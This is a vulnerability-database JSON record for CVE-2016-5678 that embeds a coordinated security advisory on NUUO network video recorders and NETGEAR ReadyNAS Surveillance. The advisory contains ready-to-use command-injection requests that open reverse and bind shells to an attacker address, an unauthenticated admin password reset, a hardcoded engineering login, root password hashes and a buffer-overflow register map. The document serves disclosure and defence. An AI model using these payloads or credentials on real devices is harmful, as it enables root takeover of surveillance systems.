"id": "CNNVD-201608-271"
},
{
"db": "NVD",
"id": "CVE-2016-5678"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/o:nuuo:nvrmini_2",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/o:nuuo:nvrsolo",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2016-004492"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Pedro Ribeiro (pedrib@gmail.com) of Agile Information Security.",
"sources": [
{
"db": "BID",
"id": "92318"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-271"
}
],
"trust": 0.9
},
"cve": "CVE-2016-5678",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "CVE-2016-5678",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 1.9,
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 8.6,
"id": "CNVD-2016-06322",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "MEDIUM",
"trust": 0.6,
"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 3.9,
"id": "CVE-2016-5678",
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.8,
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2016-5678",
"trust": 1.0,
"value": "CRITICAL"
},
{
"author": "NVD",
"id": "CVE-2016-5678",
"trust": 0.8,
"value": "Critical"
},
{
"author": "CNVD",
"id": "CNVD-2016-06322",
"trust": 0.6,
"value": "MEDIUM"
},
{
"author": "CNNVD",
"id": "CNNVD-201608-271",
"trust": 0.6,
"value": "CRITICAL"
},
{
"author": "VULMON",
"id": "CVE-2016-5678",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2016-06322"
},
{
"db": "VULMON",
"id": "CVE-2016-5678"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004492"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-271"
},
{
"db": "NVD",
"id": "CVE-2016-5678"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "NUUO NVRmini 2 1.0.0 through 3.0.0 and NUUO NVRsolo 1.0.0 through 3.0.0 have hardcoded root credentials, which allows remote attackers to obtain administrative access via unspecified vectors. NUUO NVRmini 2, NVRsolo, Crystal, and Netgear ReadyNAS Surveillance products have web management interfaces containing multiple vulnerabilities that can be leveraged to gain complete control of affected devices. NUUO NVRmini 2 and NVRsolo Was hard coded root Because it has authentication information, there is a vulnerability that can gain management access rights. Supplementary information : CWE Vulnerability type by CWE-798: Use of Hard-coded Credentials ( Using hard-coded credentials ) Has been identified. http://cwe.mitre.org/data/definitions/798.htmlA third party may gain administrative access. NUUONVRsolo and NVRmini2 are both network video recorders from NUUO. An attacker could exploit the vulnerability to log in to the affected device with root privileges. NUUO and Netgear Network Multiple Products are prone to multiple security vulnerabilities. \nAttackers can exploit these issues to execute arbitrary code, execute remote command and retrieve sensitive information; other attacks may also be possible. Setup is simple and easy, with automatic port forwarding settings built in. NVRmini 2 supports POS integration, making this the perfect solution for small retail chain stores. NVRmini 2 also comes full equipped as a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping and RAID functions for data protection. Choose NVR and know that your valuable video data is safe, always.\"\n\"NVRsolo is NUUOas answer to hassle free, lightweight NVR system. It is small in size yet able to handle heavy duty tasks. With local HDMI/VGA display and keyboard/mouse input built right into the unit, configuring NVRsolo is easy and simple. Built on solid Linux foundation, we sacrificed nothing except unnecessary bulk to make NVRsolo the award winning standalone NVR solution you have been looking for. NVRsolo\u0027s flexibility doesn\u0027t end there. For those needing more storage options, we offer 8 bay versions to meet your needs.\"\n\"NUUO CrystalaC/ is the product that represents the next stage in VMS evolution. Rock solid, easily manageable, with powerful recording and viewing options available. Featuring revolutionary modular system structure that is made to handle large project size, NUUO CrystalaC/ is the ideal choice for your enterprise. Featuring technology that focuses on delivering stable video recording performance, recording failover, and 3rd party integration choice, you will be impressed with the stability and flexible options with NUUO CrystalaC/.\"\n\"(ReadyNAS Surveillance) NETGEAR combines leading storage and switching solutions together with sophisticated network video recording software to provide an affordable and easy to install and manage surveillance solution. Small businesses and corporate branch offices require a secure way to protect physical assets, but may lack deep security expertise or a big budget. A user-friendly NVR system should combine fast and flexible configuration with easy operation. With a few simple steps for installation, the web-based management leads users to configure, monitor and playback video everywhere. UPnP search, auto camera detection and GUI schedule save setting-up time, while the easy drag and drop camera, auto scan, preset point patrolling, and multiple views offer users a prime monitoring experience.\"\n\n\n\u003e\u003e Summary:\nNUUO is a vendor of Network Video Recording (NVR) systems for surveillance cameras. These NVR are Linux embedded video recording systems that can manage a number of cameras and are used worldwide by public institutions, banks, SME\u0027s, etc. They also provide a software package to NETGEAR that adds network video recording and monitoring capabilities to the well known NETGEAR ReadyNAS Network Attached Storage systems. \n\nThe web interface contains a number of critical vulnerabilities that can be abused by unauthenticated attackers. These consist of monitoring backdoors left in the PHP files that are supposed to be used by NUUO\u0027s engineers, hardcoded credentials, poorly sanitised input and a buffer overflow which can be abused to achieve code execution on NUUO\u0027s devices as root, and on NETGEAR as the admin user. \n\nAlthough only the NVRmini 2, NVRsolo, Crystal and ReadyNAS Surveillance devices are known to be affected, it is likely that the same code is used in other NUUO devices or even other third party devices (the firmware is littered with references to other devices like NUUO Titan). \n\nA special thanks to CERT/CC (https://www.cert.org/) for assistance with disclosing the vulnerabilities to the vendors [1]. Metasploit exploits for #1, #2 and #3 have been released. \n\n\n\u003e\u003e Technical details:\n#1\nVulnerability: Improper Input Validation (leading to remote code execution)\nCVE-2016-5674\nAttack Vector: Remote\nConstraints: None, can be exploited by an unauthenticated attacker\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected)\n- NUUO NVRsolo, firmware v1.0.0 to 3.0.0\n- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)\n- Other NUUO products that share the same web interface might be affected\n\nThe web inteface contains a hidden file named __debugging_center_utils___.php that improperly sanitises input to the log parameter, which is passed to the PHP system() call (snippet below):\n\nfunction print_file($file_fullpath_name)\n{\n $cmd = \"cat \" . $file_fullpath_name;\n echo $file_fullpath_name . \"\\n\\n\";\n system($cmd);\n}\n\n\u003c?php\n if (isset($_GET[\u0027log\u0027]) \u0026\u0026 !empty($_GET[\u0027log\u0027]))\n {\n $file_fullpath_name = constant(\u0027LOG_FILE_FOLDER\u0027) . \u0027/\u0027 . basename($_GET[\u0027log\u0027]);\n print_file($file_fullpath_name);\n }\n else\n {\n die(\"unknown command.\");\n }\n?\u003e\n\nThe file can be accessed by an unauthenticated user, and code execution can be achieved with the following proofs of concept:\n- ReadyNAS Surveillance:\nGET /__debugging_center_utils___.php?log=something%3bperl+-MIO%3a%3aSocket+-e+\u0027$p%3dfork%3bexit,if($p)%3b$c%3dnew+IO%3a%3aSocket%3a%3aINET(PeerAddr,\"192.168.1.204%3a9000\")%3bSTDIN-\u003efdopen($c,r)%3b$~-\u003efdopen($c,w)%3bsystem$_+while\u003c\u003e%3b\u0027\nThis will connect a shell back to 192.168.1.204 on port 9000, running as the \"admin\" user. \n\n- NVRmini 2 and NVRsolo:\nGET /__debugging_center_utils___.php?log=something%3btelnet+192.168.1.204+9999+|+bash+|+telnet+192.168.1.204+9998 \nThis will connect two shells to 192.168.1.204, one on port 9999 and another on port 9998. To execute commands, echo into the 9999 shell, and receive the output on the 9998 shell. Commands will run as the root user. \n\n\n#2\nVulnerability: Improper Input Validation (leading to remote code execution)\nCVE-2016-5675\nAttack Vector: Remote\nConstraints: Requires an administrator account\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected)\n- NUUO NVRsolo, firmware v1.0.0 to 3.0.0\n- NUUO Crystal, firmware v2.2.1 to v3.2.0 (older firmware versions might be affected)\n- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)\n- Other NUUO products that share the same web interface might be affected\n\nThe handle_daylightsaving.php page does not sanitise input from the NTPServer parameter correctly and passes it to a PHP system() command (code snippet below):\n else if ($act == \u0027update\u0027)\n {\n $cmd = sprintf(\"/usr/bin/ntpdate %s\", $_GET[\u0027NTPServer\u0027]);\n \n $find_str = \"time server\";\n \n $sys_msg = system($cmd);\n $pos = strpos($sys_msg, $find_str);\n\nThe file can only be accessed by an authenticted user. \n- ReadyNAS Surveillance:\nGET /handle_daylightsaving.php?act=update\u0026NTPServer=bla%3b+whoami+\u003e+/tmp/test\nThis will create a /tmp/test file with the contents of \"admin\" (current user). \n\n- NVRmini 2 and NVRsolo:\nGET /handle_daylightsaving.php?act=update\u0026NTPServer=bla%3brm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2\u003e%261|nc+192.168.1.204+9000+\u003e/tmp/f\nConnects a shell to 192.168.1.204, port 9000, running as root. \n\n- Crystal:\nGET /handle_daylightsaving.php?act=update\u0026NTPServer=bla%3bbash+-i+\u003e%26+/dev/tcp/192.168.1.204/4444+0\u003e%26\nConnects a shell to 192.168.1.204, port 4444, running as root. \n\n\n#3\nVulnerability: Administrator password reset\nCVE-2016-5676\nAttack Vector: Remote\nConstraints: None, can be exploited by an unauthenticated attacker\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication)\n- NUUO NVRsolo, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication)\n- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)\n- Other NUUO products that share the same web interface might be affected\n\nOn older versions of the firmware and in the ReadyNAS Surveillance application unauthenticated users can call the cgi_system binary from the web interface. This binary performs a number of sensitive system commands, such as the loading of the default configuration that resets the administrator password. It seems that at least versions 2.2.1 and 3.0.0 of the NVRmini 2 and NVRsolo firmware are not affected, so this vulnerability was fixed either on these or earlier versions, but ReadyNAS Surveillance is still vulnerable. \n\nProof of concept:\nGET /cgi-bin/cgi_system?cmd=loaddefconfig\n\nThis will reset the admin password of the web interface to admin or password (depending on the firmware version) on all affected devices. \n\n\n#4\nVulnerability: Information disclosure (system processes, available memory and filesystem status)\nCVE-2016-5677\nAttack Vector: Remote\nConstraints: None, can be exploited by an unauthenticated attacker\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected)\n- NUUO NVRsolo, firmware v1.0.0 to 3.0.0\n- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)\n- Other NUUO products that share the same web interface might be affected\n\nThe web interface contains a hidden page (__nvr_status___.php) with a hardcoded username and password that lists the current system processes, available memory and filesystem status. This information can be obtained by an unauthenticated user by performing the following request:\nPOST /__nvr_status___.php HTTP/1.1\nusername=nuuoeng\u0026password=qwe23622260\u0026submit=Submit\n\n\n#5 \nVulnerability: Harcoded root password \nCVE-2016-5678\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.0.0 to 3.0.0 \n- NUUO NVRsolo, firmware v1.0.0 to 3.0.0\n\nThe NVRmini 2 and NVRsolo contain two hardcoded root passwords (one is commented). These passwords have not been cracked, but they are present in the firmware images which are deployed to all NVRmini 2 / NVRsolo devices. \n\nNVRmini 2:\n #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::\n root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7:::\n\nNVRsolo:\n #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::\n root:$1$72ZFYrXC$aDYHvkWBGcRRgCrpSCpiw1:0:0:99999:7:::\n\n \n#6 \nVulnerability: Command injection in cgi_main transfer license command\nCVE-2016-5679\nAttack Vector: Local / Remote\nConstraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected)\n- ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected)\n\nThe transfer_license command has a command injection vulnerability in the \"sn\" parameter:\ncgi_main?cmd=transfer_license\u0026method=offline\u0026sn=\";\u003ccommand\u003e;#\n\nSample exploit for NVRmini2 (open bind shell on port 4444):\nGET /cgi-bin/cgi_main?cmd=transfer_license\u0026method=offline\u0026sn=\"%3bnc+-l+-p+4444+-e+/bin/sh+%26+%23\n\nNETGEAR Surveillance doesn\u0027t have netcat, but we can get an openssl reverse shell to 192.168.133.204:4444 instead:\nGET /cgi-bin/cgi_main?cmd=transfer_license\u0026method=offline\u0026sn=\"%3bmkfifo+/tmp/s%3b+/bin/bash+-i+\u003c+/tmp/s+2\u003e%261+|+openssl+s_client+-quiet+-connect+192.168.133.204%3a4444+\u003e+/tmp/s%3b+rm+/tmp/s%3b%23\n\n\u003e Local exploitation:\nThis vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command:\nCGI_DEBUG=qwe23622260 cgi_main transfer_license \u0027method=offline\u0026sn=\u003cPAYLOAD\u003e\u0027\nThe cgi_main binary is located at \"/apps/surveillance/bin/cgi_main\" on the ReadyNAS and \"/NUUO/bin/cgi_main\" on the NVRmini2. \n \n \n#7 \nVulnerability: Stack buffer overflow in cgi_main transfer license command\nCVE-2016-5680\nAttack Vector: Local / Remote\nConstraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user\n- NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected)\n- ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected)\n\nThe \"sn\" parameter in transfer_license cgi_main method not only has a command injection vulnerability, but also a stack buffer overflow. Below is the pseudocode of the affected function - as it can be seen in the sprintf line, the \"sn\" parameter is copied directly into a string with a fixed length of 128 characters. \n\nFunction 0x20BC9C (NVRmini2 firmware v3.0.0):\n method = getval(\"method\");\n sn = getval(\"sn\");\n (...)\n memset(\u0026command, 0, 128);\n sprintf(\u0026command, \"logger -p local0.info -t \u0027system\u0027 \\\"Activate license: %s\\\"\", sn);\n system(\u0026command);\n\n\u003e For example if the following request is performed:\nGET /cgi-bin/cgi_main?cmd=transfer_license\u0026method=offline\u0026sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n\n\u003e A core file is generated:\nCore was generated by `/NUUO/bin/cgi_main\u0027. \nProgram terminated with signal SIGSEGV, Segmentation fault. \n#0 0x61616160 in ?? ()\n(gdb) i r\nr0 0x0\t0\nr1 0x0\t0\nr2 0x407aa4d0\t1081779408\nr3 0x407aa9e0\t1081780704\nr4 0x61616161\t1633771873\nr5 0x61616161\t1633771873\nr6 0x61616161\t1633771873\nr7 0x61616161\t1633771873\nr8 0x331fc8\t3350472\nr9 0x1\t1\nr10 0x33db54\t3398484\nr11 0x0\t0\nr12 0x1\t1\nsp 0xbedce528\t0xbedce528\nlr 0x61616161\t1633771873\npc 0x61616160\t0x61616160\ncpsr 0x60000030\t1610612784\n(gdb) \n\nThe request can be sent by an HTTP GET or POST method. \n\n\u003e A few registers can be controlled with the sn parameter, as it can be seen in the diagram below for the NVRmini2:\nsn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4444555566667777PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS\n\naaaa: filler\nPPPP: pc / lr register content, offset 976\n4444: r4 register content, offset 962\n5555: r5 register content, offset 966\n6666: r6 register content, offset 970\n7777: r7 register content, offset 974\nSSSS: start of stack pointer, offset 992\n\n\u003e On the ReadyNAS Surveillance one additional register (r8) can be controlled:\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa44445555666677778888PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS